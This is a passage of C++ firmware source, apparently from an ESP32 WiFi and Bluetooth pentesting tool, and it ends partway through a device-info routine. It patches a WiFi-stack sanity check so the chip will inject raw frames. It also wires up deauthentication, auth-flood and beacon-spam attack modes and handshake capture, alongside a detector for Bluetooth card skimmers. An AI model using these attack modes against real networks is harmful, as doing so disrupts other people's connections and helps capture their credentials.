WiFiScan.cpp 97 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011111211311411511611711811912012112212312412512612712812913013113213313413513613713813914014114214314414514614714814915015115215315415515615715815916016116216316416516616716816917017117217317417517617717817918018118218318418518618718818919019119219319419519619719819920020120220320420520620720820921021121221321421521621721821922022122222322422522622722822923023123223323423523623723823924024124224324424524624724824925025125225325425525625725825926026126226326426526626726826927027127227327427527627727827928028128228328428528628728828929029129229329429529629729829930030130230330430530630730830931031131231331431531631731831932032132232332432532632732832933033133233333433533633733833934034134234334434534634734834935035135235335435535635735835936036136236336436536636736836937037137237337437537637737837938038138238338438538638738838939039139239339439539639739839940040140240340440540640740840941041141241341441541641741841942042142242342442542642742842943043143243343443543643743843944044144244344444544644744844945045145245345445545645745845946046146246346446546646746846947047147247347447547647747847948048148248348448548648748848949049149249349449549649749849950050150250350450550650750850951051151251351451551651751851952052152252352452552652752852953053153253353453553653753853954054154254354454554654754854955055155255355455555655755855956056156256356456556656756856957057157257357457557657757857958058158258358458558658758858959059159259359459559659759859960060160260360460560660760860961061161261361461561661761861962062162262362462562662762862963063163263363463563663763863964064164264364464564664764864965065165265365465565665765865966066166266366466566666766866967067167267367467567667767867968068168268368468568668768868969069169269369469569669769869970070170270370470570670770870971071171271371471571671771871972072172272372472572672772872973073173273373473573673773873974074174274374474574674774874975075175275375475575675775875976076176276376476576676776876977077177277377477577677777877978078178278378478578678778878979079179279379479579679779879980080180280380480580680780880981081181281381481581681781881982082182282382482582682782882983083183283383483583683783883984084184284384484584684784884985085185285385485585685785885986086186286386486586686786886987087187287387487587687787887988088188288388488588688788888989089189289389489589689789889990090190290390490590690790890991091191291391491591691791891992092192292392492592692792892993093193293393493593693793893994094194294394494594694794894995095195295395495595695795895996096196296396496596696796896997097197297397497597697797897998098198298398498598698798898999099199299399499599699799899910001001100210031004100510061007100810091010101110121013101410151016101710181019102010211022102310241025102610271028102910301031103210331034103510361037103810391040104110421043104410451046104710481049105010511052105310541055105610571058105910601061106210631064106510661067106810691070107110721073107410751076107710781079108010811082108310841085108610871088108910901091109210931094109510961097109810991100110111021103110411051106110711081109111011111112111311141115111611171118111911201121112211231124112511261127112811291130113111321133113411351136113711381139114011411142114311441145114611471148114911501151115211531154115511561157115811591160116111621163116411651166116711681169117011711172117311741175117611771178117911801181118211831184118511861187118811891190119111921193119411951196119711981199120012011202120312041205120612071208120912101211121212131214121512161217121812191220122112221223122412251226122712281229123012311232123312341235123612371238123912401241124212431244124512461247124812491250125112521253125412551256125712581259126012611262126312641265126612671268126912701271127212731274127512761277127812791280128112821283128412851286128712881289129012911292129312941295129612971298129913001301130213031304130513061307130813091310131113121313131413151316131713181319132013211322132313241325132613271328132913301331133213331334133513361337133813391340134113421343134413451346134713481349135013511352135313541355135613571358135913601361136213631364136513661367136813691370137113721373137413751376137713781379138013811382138313841385138613871388138913901391139213931394139513961397139813991400140114021403140414051406140714081409141014111412141314141415141614171418141914201421142214231424142514261427142814291430143114321433143414351436143714381439144014411442144314441445144614471448144914501451145214531454145514561457145814591460146114621463146414651466146714681469147014711472147314741475147614771478147914801481148214831484148514861487148814891490149114921493149414951496149714981499150015011502150315041505150615071508150915101511151215131514151515161517151815191520152115221523152415251526152715281529153015311532153315341535153615371538153915401541154215431544154515461547154815491550155115521553155415551556155715581559156015611562156315641565156615671568156915701571157215731574157515761577157815791580158115821583158415851586158715881589159015911592159315941595159615971598159916001601160216031604160516061607160816091610161116121613161416151616161716181619162016211622162316241625162616271628162916301631163216331634163516361637163816391640164116421643164416451646164716481649165016511652165316541655165616571658165916601661166216631664166516661667166816691670167116721673167416751676167716781679168016811682168316841685168616871688168916901691169216931694169516961697169816991700170117021703170417051706170717081709171017111712171317141715171617171718171917201721172217231724172517261727172817291730173117321733173417351736173717381739174017411742174317441745174617471748174917501751175217531754175517561757175817591760176117621763176417651766176717681769177017711772177317741775177617771778177917801781178217831784178517861787178817891790179117921793179417951796179717981799180018011802180318041805180618071808180918101811181218131814181518161817181818191820182118221823182418251826182718281829183018311832183318341835183618371838183918401841184218431844184518461847184818491850185118521853185418551856185718581859186018611862186318641865186618671868186918701871187218731874187518761877187818791880188118821883188418851886188718881889189018911892189318941895189618971898189919001901190219031904190519061907190819091910191119121913191419151916191719181919192019211922192319241925192619271928192919301931193219331934193519361937193819391940194119421943194419451946194719481949195019511952195319541955195619571958195919601961196219631964196519661967196819691970197119721973197419751976197719781979198019811982198319841985198619871988198919901991199219931994199519961997199819992000200120022003200420052006200720082009201020112012201320142015201620172018201920202021202220232024202520262027202820292030203120322033203420352036203720382039204020412042204320442045204620472048204920502051205220532054205520562057205820592060206120622063206420652066206720682069207020712072207320742075207620772078207920802081208220832084208520862087208820892090209120922093209420952096209720982099210021012102210321042105210621072108210921102111211221132114211521162117211821192120212121222123212421252126212721282129213021312132213321342135213621372138213921402141214221432144214521462147214821492150215121522153215421552156215721582159216021612162216321642165216621672168216921702171217221732174217521762177217821792180218121822183218421852186218721882189219021912192219321942195219621972198219922002201220222032204220522062207220822092210221122122213221422152216221722182219222022212222222322242225222622272228222922302231223222332234223522362237223822392240224122422243224422452246224722482249225022512252225322542255225622572258225922602261226222632264226522662267226822692270227122722273227422752276227722782279228022812282228322842285228622872288228922902291229222932294229522962297229822992300230123022303230423052306230723082309231023112312231323142315231623172318231923202321232223232324232523262327232823292330233123322333233423352336233723382339234023412342234323442345234623472348234923502351235223532354235523562357235823592360236123622363236423652366236723682369237023712372237323742375237623772378237923802381238223832384238523862387238823892390239123922393239423952396239723982399240024012402240324042405240624072408240924102411241224132414241524162417241824192420242124222423242424252426242724282429243024312432243324342435243624372438243924402441244224432444244524462447244824492450245124522453245424552456245724582459246024612462246324642465246624672468246924702471247224732474247524762477247824792480248124822483248424852486248724882489249024912492249324942495249624972498249925002501250225032504250525062507250825092510251125122513251425152516251725182519252025212522252325242525252625272528252925302531253225332534253525362537253825392540254125422543254425452546254725482549255025512552255325542555255625572558255925602561256225632564256525662567256825692570257125722573257425752576257725782579258025812582258325842585258625872588258925902591259225932594259525962597259825992600260126022603260426052606260726082609261026112612261326142615261626172618261926202621262226232624262526262627262826292630263126322633263426352636263726382639264026412642264326442645264626472648264926502651265226532654265526562657265826592660266126622663266426652666266726682669267026712672267326742675267626772678267926802681268226832684268526862687268826892690269126922693269426952696269726982699270027012702270327042705270627072708270927102711271227132714271527162717271827192720272127222723272427252726272727282729273027312732273327342735273627372738273927402741274227432744274527462747274827492750275127522753275427552756275727582759276027612762276327642765276627672768276927702771277227732774277527762777277827792780278127822783278427852786278727882789279027912792279327942795279627972798279928002801280228032804280528062807280828092810281128122813281428152816281728182819282028212822282328242825282628272828282928302831283228332834283528362837283828392840284128422843284428452846284728482849285028512852285328542855285628572858285928602861286228632864286528662867286828692870287128722873287428752876287728782879288028812882288328842885288628872888288928902891289228932894289528962897289828992900290129022903290429052906290729082909291029112912291329142915291629172918291929202921292229232924292529262927292829292930293129322933293429352936293729382939294029412942294329442945294629472948294929502951295229532954295529562957295829592960296129622963296429652966296729682969297029712972297329742975297629772978297929802981298229832984298529862987298829892990299129922993299429952996299729982999300030013002300330043005300630073008300930103011
  1. #include "WiFiScan.h"
  2. #include "lang_var.h"
  3. int num_beacon = 0;
  4. int num_deauth = 0;
  5. int num_probe = 0;
  6. int num_eapol = 0;
  7. LinkedList<ssid>* ssids;
  8. LinkedList<AccessPoint>* access_points;
  9. extern "C" int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
  10. if (arg == 31337)
  11. return 1;
  12. else
  13. return 0;
  14. }
  15. #ifdef HAS_BT
  16. class bluetoothScanAllCallback: public BLEAdvertisedDeviceCallbacks {
  17. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  18. #ifdef HAS_SCREEN
  19. int buf = display_obj.display_buffer->size();
  20. #else
  21. int buf = 0;
  22. #endif
  23. String display_string = "";
  24. if (buf >= 0)
  25. {
  26. display_string.concat(text_table4[0]);
  27. display_string.concat(advertisedDevice->getRSSI());
  28. Serial.print(" RSSI: ");
  29. Serial.print(advertisedDevice->getRSSI());
  30. display_string.concat(" ");
  31. Serial.print(" ");
  32. Serial.print("Device: ");
  33. if(advertisedDevice->getName().length() != 0)
  34. {
  35. display_string.concat(advertisedDevice->getName().c_str());
  36. Serial.print(advertisedDevice->getName().c_str());
  37. }
  38. else
  39. {
  40. display_string.concat(advertisedDevice->getAddress().toString().c_str());
  41. Serial.print(advertisedDevice->getAddress().toString().c_str());
  42. }
  43. #ifdef HAS_SCREEN
  44. uint8_t temp_len = display_string.length();
  45. for (uint8_t i = 0; i < 40 - temp_len; i++)
  46. {
  47. display_string.concat(" ");
  48. }
  49. Serial.println();
  50. while (display_obj.printing)
  51. delay(1);
  52. display_obj.loading = true;
  53. display_obj.display_buffer->add(display_string);
  54. display_obj.loading = false;
  55. #endif
  56. }
  57. }
  58. };
  59. class bluetoothScanSkimmersCallback: public BLEAdvertisedDeviceCallbacks {
  60. void onResult(BLEAdvertisedDevice *advertisedDevice) {
  61. String bad_list[bad_list_length] = {"HC-03", "HC-05", "HC-06"};
  62. #ifdef HAS_SCREEN
  63. int buf = display_obj.display_buffer->size();
  64. #else
  65. int buf = 0;
  66. #endif
  67. if (buf >= 0)
  68. {
  69. Serial.print("Device: ");
  70. String display_string = "";
  71. if(advertisedDevice->getName().length() != 0)
  72. {
  73. Serial.print(advertisedDevice->getName().c_str());
  74. for(uint8_t i = 0; i < bad_list_length; i++)
  75. {
  76. #ifdef HAS_SCREEN
  77. if(strcmp(advertisedDevice->getName().c_str(), bad_list[i].c_str()) == 0)
  78. {
  79. display_string.concat(text_table4[1]);
  80. display_string.concat(" ");
  81. display_string.concat(advertisedDevice->getName().c_str());
  82. uint8_t temp_len = display_string.length();
  83. for (uint8_t i = 0; i < 40 - temp_len; i++)
  84. {
  85. display_string.concat(" ");
  86. }
  87. while (display_obj.printing)
  88. delay(1);
  89. display_obj.loading = true;
  90. display_obj.display_buffer->add(display_string);
  91. display_obj.loading = false;
  92. }
  93. #endif
  94. }
  95. }
  96. else
  97. {
  98. Serial.print(advertisedDevice->getAddress().toString().c_str());
  99. }
  100. Serial.print(" RSSI: ");
  101. Serial.println(advertisedDevice->getRSSI());
  102. }
  103. }
  104. };
  105. #endif
  106. WiFiScan::WiFiScan()
  107. {
  108. }
  109. void WiFiScan::RunSetup() {
  110. if (ieee80211_raw_frame_sanity_check(31337, 0, 0) == 1)
  111. this->wsl_bypass_enabled = true;
  112. else
  113. this->wsl_bypass_enabled = false;
  114. ssids = new LinkedList<ssid>();
  115. access_points = new LinkedList<AccessPoint>();
  116. #ifdef HAS_BT
  117. NimBLEDevice::setScanFilterMode(CONFIG_BTDM_SCAN_DUPL_TYPE_DEVICE);
  118. NimBLEDevice::setScanDuplicateCacheSize(200);
  119. NimBLEDevice::init("");
  120. pBLEScan = NimBLEDevice::getScan(); //create new scan
  121. this->ble_initialized = true;
  122. this->shutdownBLE();
  123. #endif
  124. this->initWiFi(1);
  125. }
  126. int WiFiScan::clearAPs() {
  127. int num_cleared = access_points->size();
  128. access_points->clear();
  129. Serial.println("access_points: " + (String)access_points->size());
  130. return num_cleared;
  131. }
  132. int WiFiScan::clearSSIDs() {
  133. int num_cleared = ssids->size();
  134. ssids->clear();
  135. Serial.println("ssids: " + (String)ssids->size());
  136. return num_cleared;
  137. }
  138. bool WiFiScan::addSSID(String essid) {
  139. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  140. ssids->add(s);
  141. Serial.println(ssids->get(ssids->size() - 1).essid);
  142. return true;
  143. }
  144. int WiFiScan::generateSSIDs(int count) {
  145. uint8_t num_gen = count;
  146. for (uint8_t x = 0; x < num_gen; x++) {
  147. String essid = "";
  148. for (uint8_t i = 0; i < 6; i++)
  149. essid.concat(alfa[random(65)]);
  150. ssid s = {essid, {random(256), random(256), random(256), random(256), random(256), random(256)}, false};
  151. ssids->add(s);
  152. Serial.println(ssids->get(ssids->size() - 1).essid);
  153. }
  154. return num_gen;
  155. }
  156. #ifdef HAS_SCREEN
  157. void WiFiScan::joinWiFi(String ssid, String password)
  158. {
  159. static const char * btns[] ={text16, ""};
  160. int count = 0;
  161. if ((WiFi.status() == WL_CONNECTED) && (ssid == connected_network) && (ssid != "")) {
  162. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  163. lv_msgbox_set_text(mbox1, text_table4[2]);
  164. lv_msgbox_add_btns(mbox1, btns);
  165. lv_obj_set_width(mbox1, 200);
  166. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  167. this->wifi_initialized = true;
  168. return;
  169. }
  170. else if (WiFi.status() == WL_CONNECTED) {
  171. Serial.println("Already connected. Disconnecting...");
  172. WiFi.disconnect();
  173. }
  174. esp_wifi_init(&cfg);
  175. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  176. esp_wifi_set_mode(WIFI_MODE_NULL);
  177. esp_wifi_start();
  178. WiFi.begin(ssid.c_str(), password.c_str());
  179. Serial.print("Connecting to WiFi");
  180. while (WiFi.status() != WL_CONNECTED) {
  181. delay(500);
  182. Serial.print(".");
  183. count++;
  184. if (count == 10)
  185. {
  186. Serial.println("\nCould not connect to WiFi network");
  187. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  188. lv_msgbox_set_text(mbox1, text_table4[3]);
  189. lv_msgbox_add_btns(mbox1, btns);
  190. lv_obj_set_width(mbox1, 200);
  191. //lv_obj_set_event_cb(mbox1, event_handler);
  192. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  193. WiFi.mode(WIFI_OFF);
  194. return;
  195. }
  196. }
  197. lv_obj_t * mbox1 = lv_msgbox_create(lv_scr_act(), NULL);
  198. lv_msgbox_set_text(mbox1, text_table4[4]);
  199. lv_msgbox_add_btns(mbox1, btns);
  200. lv_obj_set_width(mbox1, 200);
  201. lv_obj_align(mbox1, NULL, LV_ALIGN_CENTER, 0, 0); /*Align to the corner*/
  202. connected_network = ssid;
  203. Serial.println("\nConnected to the WiFi network");
  204. Serial.print("IP address: ");
  205. Serial.println(WiFi.localIP());
  206. this->wifi_initialized = true;
  207. }
  208. #endif
  209. // Apply WiFi settings
  210. void WiFiScan::initWiFi(uint8_t scan_mode) {
  211. // Set the channel
  212. if (scan_mode != WIFI_SCAN_OFF) {
  213. //Serial.println(F("Initializing WiFi settings..."));
  214. this->changeChannel();
  215. this->force_pmkid = settings_obj.loadSetting<bool>(text_table4[5]);
  216. this->force_probe = settings_obj.loadSetting<bool>(text_table4[6]);
  217. this->save_pcap = settings_obj.loadSetting<bool>(text_table4[7]);
  218. //Serial.println(F("Initialization complete"));
  219. }
  220. }
  221. bool WiFiScan::scanning() {
  222. if (this->currentScanMode == WIFI_SCAN_OFF)
  223. return false;
  224. else
  225. return true;
  226. }
  227. // Function to prepare to run a specific scan
  228. void WiFiScan::StartScan(uint8_t scan_mode, uint16_t color)
  229. {
  230. this->initWiFi(scan_mode);
  231. if (scan_mode == WIFI_SCAN_OFF)
  232. StopScan(scan_mode);
  233. else if (scan_mode == WIFI_SCAN_PROBE)
  234. RunProbeScan(scan_mode, color);
  235. else if (scan_mode == WIFI_SCAN_EAPOL)
  236. RunEapolScan(scan_mode, color);
  237. else if (scan_mode == WIFI_SCAN_ACTIVE_EAPOL)
  238. RunEapolScan(scan_mode, color);
  239. else if (scan_mode == WIFI_SCAN_AP)
  240. RunBeaconScan(scan_mode, color);
  241. else if (scan_mode == WIFI_SCAN_TARGET_AP)
  242. RunAPScan(scan_mode, color);
  243. else if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  244. RunAPScan(scan_mode, color);
  245. else if (scan_mode == WIFI_SCAN_PWN)
  246. RunPwnScan(scan_mode, color);
  247. else if (scan_mode == WIFI_SCAN_DEAUTH)
  248. RunDeauthScan(scan_mode, color);
  249. else if (scan_mode == WIFI_PACKET_MONITOR) {
  250. #ifdef HAS_SCREEN
  251. RunPacketMonitor(scan_mode, color);
  252. #endif
  253. }
  254. else if (scan_mode == WIFI_ATTACK_BEACON_LIST)
  255. this->startWiFiAttacks(scan_mode, color, text_table1[50]);
  256. else if (scan_mode == WIFI_ATTACK_BEACON_SPAM)
  257. this->startWiFiAttacks(scan_mode, color, text_table1[51]);
  258. else if (scan_mode == WIFI_ATTACK_RICK_ROLL)
  259. this->startWiFiAttacks(scan_mode, color, text_table1[52]);
  260. else if (scan_mode == WIFI_ATTACK_AUTH)
  261. this->startWiFiAttacks(scan_mode, color, text_table4[7]);
  262. else if (scan_mode == WIFI_ATTACK_DEAUTH)
  263. this->startWiFiAttacks(scan_mode, color, text_table4[8]);
  264. else if (scan_mode == WIFI_ATTACK_AP_SPAM)
  265. this->startWiFiAttacks(scan_mode, color, " AP Beacon Spam ");
  266. else if (scan_mode == BT_SCAN_ALL) {
  267. #ifdef HAS_BT
  268. RunBluetoothScan(scan_mode, color);
  269. #endif
  270. }
  271. else if (scan_mode == BT_SCAN_SKIMMERS) {
  272. #ifdef HAS_BT
  273. RunBluetoothScan(scan_mode, color);
  274. #endif
  275. }
  276. else if (scan_mode == WIFI_SCAN_ESPRESSIF)
  277. RunEspressifScan(scan_mode, color);
  278. else if (scan_mode == LV_JOIN_WIFI) {
  279. #ifdef HAS_SCREEN
  280. RunLvJoinWiFi(scan_mode, color);
  281. #endif
  282. }
  283. else if (scan_mode == LV_ADD_SSID) {
  284. #ifdef HAS_SCREEN
  285. RunLvJoinWiFi(scan_mode, color);
  286. #endif
  287. }
  288. WiFiScan::currentScanMode = scan_mode;
  289. }
  290. void WiFiScan::startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string) {
  291. // Common wifi attack configurations
  292. #ifdef HAS_SCREEN
  293. display_obj.TOP_FIXED_AREA_2 = 48;
  294. display_obj.tteBar = true;
  295. display_obj.print_delay_1 = 15;
  296. display_obj.print_delay_2 = 10;
  297. display_obj.initScrollValues(true);
  298. display_obj.tft.setTextWrap(false);
  299. display_obj.tft.setTextColor(TFT_BLACK, color);
  300. display_obj.tft.fillRect(0,16,240,16, color);
  301. display_obj.tft.drawCentreString((String)title_string,120,16,2);
  302. display_obj.touchToExit();
  303. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  304. #endif
  305. packets_sent = 0;
  306. WiFi.mode(WIFI_AP_STA);
  307. //esp_wifi_init(&cfg);
  308. //esp_wifi_set_storage(WIFI_STORAGE_RAM);
  309. //esp_wifi_set_mode(WIFI_AP_STA);
  310. //esp_wifi_start();
  311. //esp_wifi_set_promiscuous_filter(NULL);
  312. esp_wifi_set_promiscuous(true);
  313. esp_wifi_set_max_tx_power(82);
  314. this->wifi_initialized = true;
  315. initTime = millis();
  316. }
  317. bool WiFiScan::shutdownWiFi() {
  318. if (this->wifi_initialized) {
  319. esp_wifi_set_promiscuous(false);
  320. WiFi.disconnect();
  321. WiFi.mode(WIFI_OFF);
  322. esp_wifi_set_mode(WIFI_MODE_NULL);
  323. esp_wifi_stop();
  324. esp_wifi_deinit();
  325. this->wifi_initialized = false;
  326. return true;
  327. }
  328. else {
  329. return false;
  330. }
  331. }
  332. bool WiFiScan::shutdownBLE() {
  333. #ifdef HAS_BT
  334. if (this->ble_initialized) {
  335. pBLEScan->stop();
  336. pBLEScan->clearResults();
  337. BLEDevice::deinit();
  338. this->ble_initialized = false;
  339. return true;
  340. }
  341. else {
  342. return false;
  343. }
  344. #endif
  345. return true;
  346. }
  347. // Function to stop all wifi scans
  348. void WiFiScan::StopScan(uint8_t scan_mode)
  349. {
  350. if ((currentScanMode == WIFI_SCAN_PROBE) ||
  351. (currentScanMode == WIFI_SCAN_AP) ||
  352. (currentScanMode == WIFI_SCAN_TARGET_AP) ||
  353. (currentScanMode == WIFI_SCAN_TARGET_AP_FULL) ||
  354. (currentScanMode == WIFI_SCAN_PWN) ||
  355. (currentScanMode == WIFI_SCAN_ESPRESSIF) ||
  356. (currentScanMode == WIFI_SCAN_EAPOL) ||
  357. (currentScanMode == WIFI_SCAN_ALL) ||
  358. (currentScanMode == WIFI_SCAN_DEAUTH) ||
  359. (currentScanMode == WIFI_ATTACK_BEACON_LIST) ||
  360. (currentScanMode == WIFI_ATTACK_BEACON_SPAM) ||
  361. (currentScanMode == WIFI_ATTACK_AUTH) ||
  362. (currentScanMode == WIFI_ATTACK_DEAUTH) ||
  363. (currentScanMode == WIFI_ATTACK_MIMIC) ||
  364. (currentScanMode == WIFI_ATTACK_RICK_ROLL) ||
  365. (currentScanMode == WIFI_PACKET_MONITOR) ||
  366. (currentScanMode == LV_JOIN_WIFI))
  367. {
  368. this->shutdownWiFi();
  369. }
  370. else if ((currentScanMode == BT_SCAN_ALL) ||
  371. (currentScanMode == BT_SCAN_SKIMMERS))
  372. {
  373. #ifdef HAS_BT
  374. this->shutdownBLE();
  375. #endif
  376. }
  377. #ifdef HAS_SCREEN
  378. display_obj.display_buffer->clear();
  379. //Serial.print("display_buffer->size(): ");
  380. Serial.println(display_obj.display_buffer->size());
  381. display_obj.tteBar = false;
  382. #endif
  383. }
  384. String WiFiScan::getStaMAC()
  385. {
  386. char *buf;
  387. uint8_t mac[6];
  388. char macAddrChr[18] = {0};
  389. esp_wifi_init(&cfg);
  390. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  391. esp_wifi_set_mode(WIFI_MODE_NULL);
  392. esp_wifi_start();
  393. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  394. this->wifi_initialized = true;
  395. sprintf(macAddrChr,
  396. "%02X:%02X:%02X:%02X:%02X:%02X",
  397. mac[0],
  398. mac[1],
  399. mac[2],
  400. mac[3],
  401. mac[4],
  402. mac[5]);
  403. this->shutdownWiFi();
  404. return String(macAddrChr);
  405. }
  406. String WiFiScan::getApMAC()
  407. {
  408. char *buf;
  409. uint8_t mac[6];
  410. char macAddrChr[18] = {0};
  411. esp_wifi_init(&cfg);
  412. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  413. esp_wifi_set_mode(WIFI_MODE_NULL);
  414. esp_wifi_start();
  415. esp_err_t mac_status = esp_wifi_get_mac(WIFI_IF_AP, mac);
  416. this->wifi_initialized = true;
  417. sprintf(macAddrChr,
  418. "%02X:%02X:%02X:%02X:%02X:%02X",
  419. mac[0],
  420. mac[1],
  421. mac[2],
  422. mac[3],
  423. mac[4],
  424. mac[5]);
  425. this->shutdownWiFi();
  426. return String(macAddrChr);
  427. }
  428. String WiFiScan::freeRAM()
  429. {
  430. char s[150];
  431. sprintf(s, "RAM Free: %u bytes", esp_get_free_heap_size());
  432. this->free_ram = String(esp_get_free_heap_size());
  433. return String(s);
  434. }
  435. // Function to start running a beacon scan
  436. void WiFiScan::RunAPScan(uint8_t scan_mode, uint16_t color)
  437. {
  438. sd_obj.openCapture("ap");
  439. Serial.println(text_table4[9] + (String)access_points->size());
  440. #ifdef HAS_SCREEN
  441. display_obj.TOP_FIXED_AREA_2 = 48;
  442. display_obj.tteBar = true;
  443. display_obj.print_delay_1 = 15;
  444. display_obj.print_delay_2 = 10;
  445. display_obj.initScrollValues(true);
  446. display_obj.tft.setTextWrap(false);
  447. display_obj.tft.setTextColor(TFT_WHITE, color);
  448. display_obj.tft.fillRect(0,16,240,16, color);
  449. display_obj.tft.drawCentreString(text_table4[44],120,16,2);
  450. display_obj.touchToExit();
  451. display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
  452. display_obj.setupScrollArea(display_obj.TOP_FIXED_AREA_2, BOT_FIXED_AREA);
  453. #endif
  454. esp_wifi_init(&cfg);
  455. esp_wifi_set_storage(WIFI_STORAGE_RAM);
  456. esp_wifi_set_mode(WIFI_MODE_NULL);
  457. esp_wifi_start();
  458. esp_wifi_set_promiscuous(true);
  459. esp_wifi_set_promiscuous_filter(&filt);
  460. //if (scan_mode == WIFI_SCAN_TARGET_AP_FULL)
  461. esp_wifi_set_promiscuous_rx_cb(&apSnifferCallbackFull);
  462. //else
  463. // esp_wifi_set_promiscuous_rx_cb(&apSnifferCallback);
  464. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  465. this->wifi_initialized = true;
  466. initTime = millis();
  467. }
  468. #ifdef HAS_SCREEN
  469. void WiFiScan::RunLvJoinWiFi(uint8_t scan_mode, uint16_t color) {
  470. display_obj.tft.init();
  471. display_obj.tft.setRotation(1);
  472. #ifdef TFT_SHIELD
  473. uint16_t calData[5] = { 391, 3491, 266, 3505, 7 }; // Landscape TFT Shield
  474. Serial.println("Using TFT Shield");
  475. #else if defined(TFT_DIY)
  476. uint16_t calData[5] = { 213, 3469, 320, 3446, 1 }; // Landscape TFT DIY
  477. Serial.println("Using TFT DIY");
  478. #endif
  479. display_obj.tft.setTouch(calData);
  480. lv_obj_t * scr = lv_cont_create(NULL, NULL);
  481. lv_disp_load_scr(scr);
  482. }
  483. #endif
  484. void WiFiScan::RunClearAPs() {
  485. #ifdef HAS_SCREEN
  486. display_obj.tft.setTextWrap(false);
  487. display_obj.tft.setFreeFont(NULL);
  488. display_obj.tft.setCursor(0, 100);
  489. display_obj.tft.setTextSize(1);
  490. display_obj.tft.setTextColor(TFT_CYAN);
  491. display_obj.tft.println(F(text_table4[9]));
  492. display_obj.tft.println(text_table4[10] + (String)this->clearAPs());
  493. #else
  494. this->clearAPs();
  495. #endif
  496. }
  497. void WiFiScan::RunClearSSIDs() {
  498. #ifdef HAS_SCREEN
  499. display_obj.tft.setTextWrap(false);
  500. display_obj.tft.setFreeFont(NULL);
  501. display_obj.tft.setCursor(0, 100);
  502. display_obj.tft.setTextSize(1);
  503. display_obj.tft.setTextColor(TFT_CYAN);
  504. display_obj.tft.println(F(text_table4[11]));
  505. display_obj.tft.println(text_table4[12] + (String)this->clearSSIDs());
  506. #else
  507. this->clearSSIDs();
  508. #endif
  509. }
  510. void WiFiScan::RunGenerateSSIDs(int count) {
  511. #ifdef HAS_SCREEN
  512. display_obj.tft.setTextWrap(false);
  513. display_obj.tft.setFreeFont(NULL);
  514. display_obj.tft.setCursor(0, 100);
  515. display_obj.tft.setTextSize(1);
  516. display_obj.tft.setTextColor(TFT_CYAN);
  517. display_obj.tft.println(F(text_table4[13]));
  518. display_obj.tft.println(text_table4[14] + (String)this->generateSSIDs());
  519. display_obj.tft.println(text_table4[15] + (String)ssids->size());
  520. #else
  521. this->generateSSIDs(count);
  522. #endif
  523. }
  524. void WiFiScan::RunShutdownWiFi() {
  525. #ifdef HAS_SCREEN
  526. display_obj.tft.setTextWrap(false);
  527. display_obj.tft.setFreeFont(NULL);
  528. display_obj.tft.setCursor(0, 100);
  529. display_obj.tft.setTextSize(1);
  530. display_obj.tft.setTextColor(TFT_CYAN);
  531. display_obj.tft.print(F(text_table4[16]));
  532. #endif
  533. if (this->wifi_initialized) {
  534. this->shutdownWiFi();
  535. #ifdef HAS_SCREEN
  536. display_obj.tft.setTextColor(TFT_GREEN);
  537. display_obj.tft.println(F("OK"));
  538. #endif
  539. }
  540. else {
  541. #ifdef HAS_SCREEN
  542. display_obj.tft.setTextColor(TFT_RED);
  543. display_obj.tft.println(F(text17));
  544. display_obj.tft.println(F(text_table4[17]));
  545. #endif
  546. }
  547. }
  548. void WiFiScan::RunShutdownBLE() {
  549. #ifdef HAS_SCREEN
  550. display_obj.tft.setTextWrap(false);
  551. display_obj.tft.setFreeFont(NULL);
  552. display_obj.tft.setCursor(0, 100);
  553. display_obj.tft.setTextSize(1);
  554. display_obj.tft.setTextColor(TFT_CYAN);
  555. display_obj.tft.print(F(text_table4[18]));
  556. #endif
  557. if (this->ble_initialized) {
  558. this->shutdownBLE();
  559. #ifdef HAS_SCREEN
  560. display_obj.tft.setTextColor(TFT_GREEN);
  561. display_obj.tft.println(F("OK"));
  562. #endif
  563. }
  564. else {
  565. #ifdef HAS_SCREEN
  566. display_obj.tft.setTextColor(TFT_RED);
  567. display_obj.tft.println(F(text17));
  568. display_obj.tft.println(F(text_table4[19]));
  569. #endif
  570. }
  571. }
  572. void WiFiScan::RunInfo()
  573. {
  574. String sta_mac = this->getStaMAC();
  575. String ap_mac = this->getApMAC();
  576. String free_ram = this->freeRAM();
  577. //Serial.print("STA MAC: ");
  578. //Serial.println(sta_mac);
  579. //Serial.print("AP MAC: ");
  580. //Serial.println(ap_mac);
  581. Serial.println(free_ram);
  582. #ifdef HAS_SCREEN
  583. display_obj.tft.setTextWrap(false);
  584. display_obj.tft.setFreeFont(NULL);
  585. display_obj.tft.setCursor(0, 100);
  586. display_obj.tft.setTextSize(1);
  587. display_obj.tft.setTextColor(TFT_CYAN);
  588. display_obj.tft.println(text_table4[20]);
  589. display_obj.tft.println(text_table4[21] + display_obj.version_number + "\n");
  590. display_obj.tft.println(text_table4[22] + (String)esp_get_idf_version());
  591. #endif
  592. if (this->wsl_bypass_enabled) {
  593. #ifdef HAS_SCREEN
  594. display_obj.tft.println(text_table4[23]);
  595. #endif
  596. }
  597. else {
  598. #ifdef HAS_SCREEN
  599. display_obj.tft.println(text_table4[24]);
  600. #endif
  601. }
  602. #ifdef HAS_SCREEN
  603. display_obj.tft.println(text_table4[25] + sta_mac);
  604. display_obj.tft.println(text_table4[26] + ap_mac);
  605. display_obj.tft.println(text_table4[27] + free_ram);
  606. #endif
  607. if (sd_obj.supported) {
  608. #ifdef HAS_SCREEN
  609. display_obj.tft.println(text_table4[28]);
  610. display_obj.tft.print(text_table4[29]);
  611. display_obj.tft.print(sd_obj.card_sz);
  612. display_obj.tft.println("MB");
  613. #endif
  614. }
  615. else {
